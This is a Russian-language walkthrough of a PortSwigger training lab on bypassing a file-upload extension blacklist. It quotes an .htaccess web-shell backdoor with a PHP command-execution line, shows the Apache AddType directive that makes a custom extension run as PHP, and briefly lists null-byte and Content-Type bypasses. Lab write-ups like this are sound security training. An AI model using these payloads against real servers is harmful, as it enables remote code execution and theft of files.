На странице
Web Shell Upload через обход блек-листа расширений
Лаборатория
Web shell upload via extension blacklist bypass · Practitioner
Решение
Дано
This lab contains a vulnerable image upload function. Certain file extensions
are blacklisted, but this defense can be bypassed due to a fundamental
flaw in the configuration of this blacklist.
To solve the lab, upload a basic PHP web shell, then use it to exfiltrate
the contents of the file /home/carlos/secret. Submit this secret using the
button provided in the lab banner.
You can log in to your own account using the following credentials: wiener:peter
Анализ и разведка
Пробуем залить PHP-шелл — сервер ругается:
HTTP/2 403 Forbidden
Date: Wed, 03 Jun 2026 15:51:26 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 164
Sorry, php files are not allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Сервер — Apache. Идея: попробовать залить в директорию свой конфиг Apache, то есть .htaccess. Если серверная валидация не обрабатывает такой случай, мы сможем подсунуть конфиг и настроить запуск PHP-файлов под другим расширением, замаскировав его под безобидный MIME-тип.
Заходим в PayloadAllTheThings, раздел Upload Insecure Files, берём готовый .htaccess-бэкдор:
# htaccess backdoor shell
# this is relatively stealthy compared to a typical webshell
# overriding deny rule
# making htaccess accessible from the internet
# without this you'll get a HTTP 403
<Files ~ "^\.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
# Make the server treat .htaccess file as .php file
AddType application/x-httpd-php .htaccess
# <?php system($_GET['cmd']); ?>
# To execute commands you would navigate to:
# http://vulnerable.com/.htaccess?cmd=YourCommand
# If system(); isnt working then try other syscalls
# e.g. passthru(); shell_exec(); etc
# If you still cant execute syscalls, try bypassing php.ini via htaccess
Заливается:
HTTP/2 200 OK
Date: Wed, 03 Jun 2026 16:05:17 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130
The file avatars/.htaccess has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Но при обращении сервер отдаёт 500 и ругается на конфиг — такой шелл не прошёл.
Тогда заливаем урезанный вариант — просто конфиг, который скажет Apache считать файлы shell.bug PHP-скриптами:
# Make the server treat .htaccess file as .php file
AddType application/x-httpd-php shell.bug
Заливаем его как .htaccess:
HTTP/2 200 OK
Date: Thu, 04 Jun 2026 13:47:14 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130
The file avatars/.htaccess has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>
Залился. Идём проверять /files/avatars/shell.bug — не пошло, интерпретируется как текст.
Может тогда такой конфиг:
AddType application/x-httpd-php ".bug"
Сработало!
2OdvwFa9GvrtQrVwpJ5f9btIo0GQdiy1
Лаба решена!
Ещё в этой категории
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.
Web Shell Upload через обход проверки Content-Type (PortSwigger Lab)
Сервер проверяет только заголовок Content-Type — меняем его на image/jpeg и проходим с PHP-шеллом.